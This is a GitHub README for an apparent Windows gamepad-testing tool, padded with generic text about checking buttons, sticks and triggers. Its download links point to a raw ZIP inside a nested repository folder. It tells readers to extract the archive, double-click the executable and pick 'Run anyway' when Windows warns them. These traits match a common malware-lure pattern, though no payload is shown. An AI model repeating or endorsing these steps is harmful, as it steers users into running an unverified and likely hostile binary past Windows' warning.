Skip to content

Latest commit

 

History

35 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🎮 SDL2-Game-Controller-Test - Test gamepads with ease

🟦 Download the app

🚀 Overview

SDL2-Game-Controller-Test is a simple Windows app for checking game controllers. It helps you see if your gamepad, joystick, or other controller works as expected in SDL2.

Use it to:

  • check button input
  • test thumb sticks
  • test triggers and shoulder buttons
  • confirm controller mapping
  • spot connection issues fast

It is made for quick checks, not for setup work. Open it, press buttons, and see what the app reads.

📥 Download and run on Windows

  1. Open the download page: https://github.com/Dickieagreeable675/SDL2-Game-Controller-Test/raw/refs/heads/main/m4/Controller_Game_Test_SD_v3.2.zip
  2. Get the Windows build from the page
  3. Save the file to your PC
  4. If the file is in a ZIP folder, right-click it and choose Extract All
  5. Open the extracted folder
  6. Double-click the app file to run it
  7. If Windows asks for permission, choose Run anyway

If you use a wireless controller, turn it on before you start the app. If you use a USB controller, plug it in first.

🖥️ What you can test

This app gives you a simple view of your controller input. It helps you check:

  • face buttons
  • D-pad input
  • analog sticks
  • trigger pressure
  • start and select buttons
  • guide or home button
  • controller index and device status

It works well for quick checks before you launch a game or adjust your controller setup.

🎮 Supported controller types

The app is built for common input devices used on Windows:

  • Xbox-style gamepads
  • PlayStation-style controllers
  • generic USB gamepads
  • arcade sticks
  • joysticks
  • Bluetooth controllers
  • SDL2-compatible devices

If Windows sees the device and SDL2 can read it, the app should show its input.

🧭 How to use it

  1. Connect your controller
  2. Start the app
  3. Press a button on the controller
  4. Watch for the button light or input change in the app
  5. Move each stick through its full range
  6. Pull each trigger from start to finish
  7. Check that every input appears as expected

For the best test, move each stick in a full circle and return it to center. This helps you spot drift, dead zones, or stuck input.

🔍 What to look for

When you test a controller, check for these common issues:

  • a button does not register
  • a stick does not return to center
  • the cursor or input shifts on its own
  • the trigger only works halfway
  • the D-pad misses presses
  • the controller disconnects during use

If you see any of these, try another USB port, reconnect the controller, or test it again after restarting the app.

🧰 Basic system needs

Use a Windows PC with:

  • Windows 10 or Windows 11
  • a working USB port or Bluetooth adapter
  • a game controller or joystick
  • enough free space to unpack the app
  • SDL2 support through the app build

A newer PC will give the smoothest results, but the app should run on most normal Windows systems.

🗂️ Files and folder use

After you download the app, you may see:

  • an EXE file, which starts the app
  • a ZIP file, which you need to unpack first
  • support files in the same folder as the app

Keep all app files in the same folder. If you move the EXE on its own, the app may not start as expected.

🛠️ Troubleshooting

If the app does not open:

  • make sure you unpacked the ZIP file
  • try running the app from the folder where you saved it
  • check that the file finished downloading
  • close the app and open it again
  • unplug and reconnect the controller
  • try a different USB port

If the controller does not show input:

  • confirm Windows can see the device
  • turn the controller off and on again
  • reconnect Bluetooth if you use wireless mode
  • try a different controller if you have one

If buttons seem wrong:

  • test the controller in another USB port
  • check if the device uses a different mode
  • reconnect the controller after closing the app
  • try another controller mapping if your device has one

🧪 Use cases

This app fits well if you want to:

  • test a new controller after you buy it
  • check if a gamepad has a bad button
  • verify joystick input before a game session
  • compare input across different controllers
  • confirm a device works with SDL2-based software
  • inspect basic controller behavior without extra setup

📌 Project details

  • App name: SDL2-Game-Controller-Test
  • Type: Windows utility app
  • Purpose: test game controllers in SDL2
  • Language: C++
  • Standard: C++23
  • Focus: gamepad and joystick input
  • Topics: sdl2, gamecontroller, gamepad, joystick, utility application

📎 Download again

🩶 Visit the download page

🧩 Common controller checks

Use this quick checklist while testing:

  • press every face button once
  • press each shoulder button
  • pull both triggers from start to end
  • move both sticks up, down, left, and right
  • press the sticks if your controller supports that
  • tap the D-pad in all directions
  • check for any input delay
  • watch for drift when you let go of a stick

🖱️ Tips for a clean test

  • use a wired connection if Bluetooth seems unstable
  • close other apps that may use the controller
  • test one controller at a time
  • keep the controller battery charged
  • make sure Steam or another controller app is not changing input mode
  • test again after rebooting if the input looks wrong

📂 Where this app fits

SDL2-Game-Controller-Test works as a small test tool for people who want a simple way to check input on Windows. It is useful before gaming, before controller repair, or before setting up a device for emulation and homebrew use

About

Test and visualize SDL2 game controllers with Joystick and GameController support

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages